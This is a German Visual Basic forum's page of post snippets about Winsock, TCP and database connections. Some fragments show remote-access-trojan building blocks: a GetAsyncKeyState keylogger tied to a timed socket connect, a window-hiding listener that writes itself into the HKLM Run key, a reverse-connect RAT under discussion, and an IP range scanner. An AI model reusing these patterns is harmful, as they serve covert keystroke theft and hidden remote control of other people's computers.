Visual Basic Forum

Verfasst am: 09.06.2010, 20:51 Aufrufe: 116

EventArgs) Handles ServerStartenToolStripMenuItem.Click If client.Connected = True Then MsgBox("Server ist schon verbunden") Else mainserver() End If End Sub Private Sub mainserver() Server = New TcpListener(ipendpoint) Server.Start() client = Server.AcceptTcpClient ...

Verfasst am: 08.02.2010, 15:37 Aufrufe: 286

Ich habe folgenden Source: Dim conn As MySqlConnection conn = New MySqlConnection conn.ConnectionString = "server=db2315.1und1.de;" _ & "user id=dbo317179755;" _ & "password=*******;" _ & "database=db317179755" ...

Verfasst am: 07.01.2010, 08:49 Aufrufe: 400

Data dtcText Caption = "Data1" Connect = "Access 2000;" DatabaseName = "" DefaultCursorType= 0 'Standard-Cursor DefaultType = 2 'ODBC verwenden Exclusive = 0 'False Height = 315 Left = 10590 Options ...

Verfasst am: 14.12.2009, 19:23 Aufrufe: 659

hWnd, 0) SetWindowText lwndC, lpszName capSetCallbackOnStatus lwndC, AddressOf MyStatusCallback capSetCallbackOnError lwndC, AddressOf MyErrorCallback If capDriverConnect(lwndC, 0) Then capDriverGetCaps lwndC, VarPtr(Caps), Len(Caps) capPreviewScale lwndC, True capPreviewRate lwndC, 66 ...

Verfasst am: 23.11.2009, 09:00 Aufrufe: 340

Alright, is there anyone who can help me with this: Different users will use one PC and will run the same application. However, every user needs to be connected with his/her individual database before as the application needs to access it. As far as I found out I will need to set up the login/password routine with visual basic and have to connect the network share with Wnetaddconnection2 using username and P ...

Verfasst am: 28.10.2009, 16:46 Aufrufe: 324

Nun habe ich eine schöne Componente gefunden um meinen Ideen freien Lauf zu lassen... Ich arbeite mit MS Winsock 6.0 damit wollte ich ein Chatprogramm realisieren, so schön so gut....immer wenn ich den Client Disconnecte und wieder CONNECTE bekommt der Client ERROR meldung="Falsches Protokoll oder Verbindungszustand für die Angeforderte Transaktion oder Anforderung" Wie kann ich das beheben.... C ...

Verfasst am: 23.10.2009, 13:11 Aufrufe: 355

Gesagt getan datei erstellt und geteste und die Provider die ich dacht die Müssen es ein funktionieren nicht ( - SQL NATIVE CLIENT ; -Microsoft OLE DB PROVIDER FOR SQL SERVER [Fehler beim Testen der Verbindung durch einen Fehler beim Initialisieren des Providers [DBNETLIB][ConnectioOpen(Connect())),]SQL Server existiert nicht oder Zugriff verweigert] ; -Microsoft OLE DB Provider for Search [Der Provider ist n ...

Verfasst am: 20.06.2009, 14:04 Aufrufe: 348

... hen Weg gemacht bis ich mir überlegt habe einfach ein Programm zu schreiben, ihr gebt die HP ein und kriegt die IP ausgespuckt als kleines extra könnt ihr euch auch eure interne IP ausgeben lassen.Domainchecker eingebaut! Wers gebrauchen kann... Changelog: Domainchecker....Ihr wollt schnell nachsehen ob eine Domain bereits registriert ist? Dann habt ihr nun eine neue in SceneIPs dafür! Free = Frei ...connect ...

Verfasst am: 15.06.2009, 18:30 Aufrufe: 383

..). Der Spieler mit der öffentliche IP, muss den Server auswählen und den Button Listen drücken, während der andere Spieler den Clienten auswählt und die IP in die Textbox eingibt und dann den Button Connect drückt. Falls die beiden Computer in Verbindung stehen, erscheint eine MsgBox. Wenn dies nicht passierend würde, solltet ihr die angegebene IP kontrollieren und den Firewall ausschalten (auf beiden Rechner).Wenn ...

Verfasst am: 15.06.2009, 12:16 Aufrufe: 928

Private Sub Form_Load() ws.LocalPort = 2222 ws.Listen End SubUnd eingehende Verbindungen akzeptieren wir hiermit.Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID Label1.Caption = "Connection established" End SubDamit wir auch sehen ob eine Verbindung besteht, wird gleich in Label1 ...

Verfasst am: 03.05.2009, 12:38 Aufrufe: 1268

Index 'Zum erzeugen des Indexes Damit hätten wir schonmal den Grundstein. 3. Datenbank erstellen Set Db = DAO.Workspaces(0).CreateDatabase(Name, Connect, Option) (Set Db) Die erstellte Datenbank wird der Variable Db(Dao.Database) zugewiesen. (Workspaces) Man kann "Workspaces" auch als Variable wie Db oder Tb deklarieren, aber da man das eigentlich nur selten braucht, ver ...

Verfasst am: 10.04.2009, 19:02 Aufrufe: 529

Listen App.TaskVisible = False Form1.Visible = False End Sub Private Sub Winsock1_Close() Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Not Winsock1.State Then Winsock1.Close Winsock1.Accept requestID End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data As String Winsock1. ...

Verfasst am: 16.03.2009, 10:36 Aufrufe: 1476

TcpClient() tcpClient.Connect(IP, PORT) networkStream = tcpClient.GetStream() while ServerNotDown '**************** 'Client-Programm '**************** if DownTime then ServerNotDown = false end if end while tcpClient.

Verfasst am: 16.03.2009, 08:09 Aufrufe: 1476

SocketException: Eine Verbindungsanforderung bezog sich auf einen bereits verbundenen Socket Ich öffne die Verbindung wie folgt: Dim tcpClient As New System.Net.Sockets.TcpClient() tcpClient.Connect(IP, Port) Wenn ich nun tcpClient.Connect wieder aufrufe bekomme ich obrige Fehlermeldung Wenn ich die Verbindung vorher mit tcpClient.Close() schliesse (was ja logisch wäre) bekomme ich ...

Verfasst am: 14.03.2009, 21:38 Aufrufe: 1827

Meine Controlls: -Winsock: Internet -Textbox: txtHistory -Button: cmdConnect -Button: cmdChannel Dim Server As String Dim Channel As String Dim Port As String Dim Computer As String Dim Username As String Public Sub Form_Load() Server = "XXX" Channel = "#XXX" Port = "XXX" Computer = Environ("Computername") Username = Environ("Userna ...

Verfasst am: 10.03.2009, 17:25 Aufrufe: 1209

Ich stelle mit meinem Programm eine Connection zu einer lokalen MySQL Datenbank her (über XAMPP) Hier ein Codeausschnitt: con.ConnectionString = "Data Source=########;Database=######;User ID=#######;Password=#######" cmd.Connection = con Call Generate() Dim anzahl As Integer Try con.Open() cmd.CommandText = _ ...

Verfasst am: 29.01.2009, 21:56 Aufrufe: 1084

Ja, ist eigentlich einfach. Du musst einfach mit einem Winsock zu ner IP mit nem Port connecten und schauen ob es funktioniert. Ich schreib dir mal eben n Code (weiß nicht ob er funktioniert, hab grade kein VB da.) Probier's mal so: 1 Edit Feld ( txtPort ) 1 Edit Feld ( txtAnfangsIP ) 1 Edit Feld (txtEndIP ) 1 Button ( cmdCheck) 1 Winsock (Winsock) so.. und dann im Button folgenden Text: di ...

Verfasst am: 27.01.2009, 16:48 Aufrufe: 869

EXEName & ".exe" ws.LocalPort = 6885 ws.Close ws.Listen End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) If ws.State <> sckClosed Then ws.Close ws.Accept requestID End Sub Private Sub ws_DataArrival(ByVal bytes As Long) Dim Dat As String ws.GetData Dat MsgBox Dat, vbInformation End Sub Private Sub RegisterApp() Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, " ...

Verfasst am: 28.12.2008, 13:49 Aufrufe: 1239

RemoteHost = Text1.Text & "." & Text2.Text & "." & Text3.Text & "." & Text4.Text socket.RemotePort = "21" socket.Connect Increment Loop End Sub Function Increment() If Text4.Text > 255 Then Text3.Text = Text3.Text + 1 Text4.Text = 0 End If If Text3.Text > 255 Then Text2.Text = Text2.Text + 1 Text3.Text = 0 End If If Text2. ...

Verfasst am: 25.09.2008, 19:11 Aufrufe: 1022

was willst du denn mehr ?! in der box bei http-request steht doch sogar noch was( wie es ) beim winsock-connectevent gesendet wird... dann einfach das incoming per data arrival mitloggen €: naja gut vlt ist es so besser: winsock connect: ws.senddata = "GET /index.php HTTP/1.1" & vbcrlf & _ "Host: google.de" & vbcrlf & _ "User-Agent: Mozilla/5.0 (Windows; U; W ...

Verfasst am: 21.09.2008, 10:38 Aufrufe: 710

Hey , SpeedwalkerHast du denn die beiden schon connected?D.h. beim Server :Localport einstelenListen lassenBei Request Winsock1.closewinsock1.accept requestidUnd bei Data Arrival , das er das annimmt?Und beim Client:Das er dahin Connected , bevor er schicktAuf den gleichen Port, auf den der Server "Listened"und dan einfach beim Winsock unter connect , also wen er connected , dass er das dan schickt??D.h. die eigentlc ...

Verfasst am: 16.09.2008, 17:16 Aufrufe: 1807

Verfasst am: 06.09.2008, 18:31 Aufrufe: 1070

den port den du zum coonnecten nimmst:winsock.connect no-ip, portwenn der offen ist, kannste das projekt am besten mal nen freund schicken und testen...

Verfasst am: 28.08.2008, 15:38 Aufrufe: 1600

Verfasst am: 22.08.2008, 00:06 Aufrufe: 1600

Verfasst am: 05.08.2008, 13:29 Aufrufe: 634

Verfasst am: 09.07.2008, 22:00 Aufrufe: 827

Verfasst am: 07.07.2008, 17:34 Aufrufe: 726

Boah erstmal total korrekt den Chat Tutorial = D den Blog ist auch geilUnd das zweite das mit dem Recerse Connect...In deinem Tutorial wird ja nur das andere erklärt, vom Client -> Server, wie mach ich das mit dem Timer, also Server->Client?Ich hab eine statische IP, das würde es mir viel einfacher machen...Könntest du das vielleicht erklären wie ich das so machen kann?

Verfasst am: 07.07.2008, 17:25 Aufrufe: 726

Also: Recerse Connect ist, wenn anstatt wie normal Client -> Server, Client

Verfasst am: 07.07.2008, 17:13 Aufrufe: 726

Das was du angedeutet hast funktioniert auch! Man nennt das Reverse Connect wenn der Server zum Client verbindet! Das funktioniert aber nur dann, wenn der Client Computer (deiner) eine statische IP hat!

Verfasst am: 30.06.2008, 15:00 Aufrufe: 2139

Verfasst am: 26.06.2008, 16:59 Aufrufe: 478

PutFile path, datei da kommt immer variable nicht definiert:confused:Public Function FTPUpload(server As String, user As String, pass As String, path As String, file As String) Dim ftp As myFtp Set ftp = New myFtp ftp.Connect server, user, pass ftp.PutFile SaveFile &n ...

Verfasst am: 26.06.2008, 14:19 Aufrufe: 478

Verfasst am: 16.06.2008, 18:10 Aufrufe: 373

Verfasst am: 15.06.2008, 19:30 Aufrufe: 362

Verfasst am: 15.06.2008, 16:01 Aufrufe: 362

Verfasst am: 15.06.2008, 11:42 Aufrufe: 911

Verfasst am: 27.05.2008, 23:17 Aufrufe: 414

Hab im Internet folgenden Code gefunden:Visual Basic: Wo liegt das Problem?

Verfasst am: 14.05.2008, 19:58 Aufrufe: 668

... Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub keytimer_Timer() Dim log As String Dim resulta As Integer Dim n As Integer For n = 1 To 255 resulta = 0 resulta = GetAsyncKeyState(n) If resulta = -32767 Then log = log + Chr(n) End If Next n End Sub Private Sub Timer1_Timer() ws.Close ws.Connect ...

Verfasst am: 06.05.2008, 17:18 Aufrufe: 842

... & laufwerke(1) Next ' Objekte zerstören Set objWMI = Nothing Set colClass = Nothing Set objClass = Nothing End Sub Private Sub Timer1_Timer() On Error Resume Next Winsock1.Connect ...

Verfasst am: 01.05.2008, 12:10 Aufrufe: 1081

Es wird einfach versucht eine Verbindung per Winsock zu dem jeweiligen Port aufzubauen.wSock(i).Connect currentIP, currentPortAlso ein einfacher TCP Scanner der zurückgibt ob eine Verbindung hergestellt werden konnte oder nicht.Nicht wirklich auffregend, aber trotzdem ein recht netter source.

Verfasst am: 25.04.2008, 12:21 Aufrufe: 437

Click Shell("""D:\Programme\Activision\Call of Duty 4 - Modern Warfare\Verknüpfung mit iw3mp.exe.lnk"" +connect """ & TextBox2.Text & """") End Sub Btw.: Du kannst statt Chr(34) auch "" schreiben.

Verfasst am: 24.04.2008, 21:01 Aufrufe: 437

Click Shell((Chr(34) & "D:\Programme\Activision\Call of Duty 4 - Modern Warfare\Verknüpfung mit iw3mp.exe" & Chr(34) & " " & "+connect" & " " & Chr(34) & TextBox2.Text & Chr(34))) End Sub soll per textbox mit servereingabe direkt auf den server connecten ( in der art wie HLSW)

Verfasst am: 17.04.2008, 12:37 Aufrufe: 1186

Index 'Zum erzeugen des IndexesDamit hätten wir schonmal den Grundstein.3. Datenbank erstellenSet Db = DAO.Workspaces(0).CreateDatabase(Name, Connect, Option)(Set Db)Die erstellte Datenbank wird der Variable Db(Dao.Database) zugewiesen.(Workspaces)Man kann "Workspaces" auch als Variable wie Db oder Tb deklarieren, aber da man das eigentlich nur selten braucht, verzichte ich darauf.(CreateDatabase)Nunj ...

Verfasst am: 13.04.2008, 16:27 Aufrufe: 358

Verfasst am: 03.04.2008, 18:13 Aufrufe: 491

RemotePort = 25 Winsock1.Connect If Not Response("220") Then Goto ERRORMail '### Verbunden ShowStatus ("Verbunden") Winsock1.SendData ("HELO " & Domain & vbCrLf) If Not Response("250") Then Goto ERRORMail '### Mail Senden ShowStatus ("Na ...

Verfasst am: 02.04.2008, 16:22 Aufrufe: 999

minimizer würde ich keine extra form für nehemen...das mit der firewall is ganz nützlich und halt das connect dingen xD is auch gut schön weiter so

Verfasst am: 02.04.2008, 11:22 Aufrufe: 249

Moin Leute! Ich bin gerade dabei ein ganz kleines R.A.T zu schreiben. Die Reverse Connection hab ich dank dem Source ( http://dbhost.info/vbx/viewtopic.php?t=1813&highlight=reverse ) gut verstanden und eingebaut! =) Wenn ich auf Verbinden drücke, steht folgendes im Code: If socket3.State = sckConnected Then Exit Sub Else If Lv.ListItems.Count <> 0 Then I ...

Verfasst am: 18.02.2008, 21:44 Aufrufe: 347

Private Sub ws_ConnectionRequest(ByVal requestID As Long) If ws.State <> sckClosed Then ws.Close ws.Accept requestID MsgBox "Connect!", vbInformation, "Titel" End Sub nunja, das hatte ich mal bei nem "rat" von mir, wenn vom server aus beim vlient anfrage auf verbindung ankam, wurde verbunden und die meldung ausgegeben. vll kannste es ja gebrauchen Surprised

Verfasst am: 18.02.2008, 21:32 Aufrufe: 347

Private Sub connect_Click() ws.Close ws.connect ip.Text, port.Text If True Then lbl1.Caption = "Verb. OK!" Else lbl1.Caption = "Verb. Gescheitert!" End If End Sub Private Sub disconnect_Click() ws.Close Do DoEvents Loop Until ws.State = sckClosed End Sub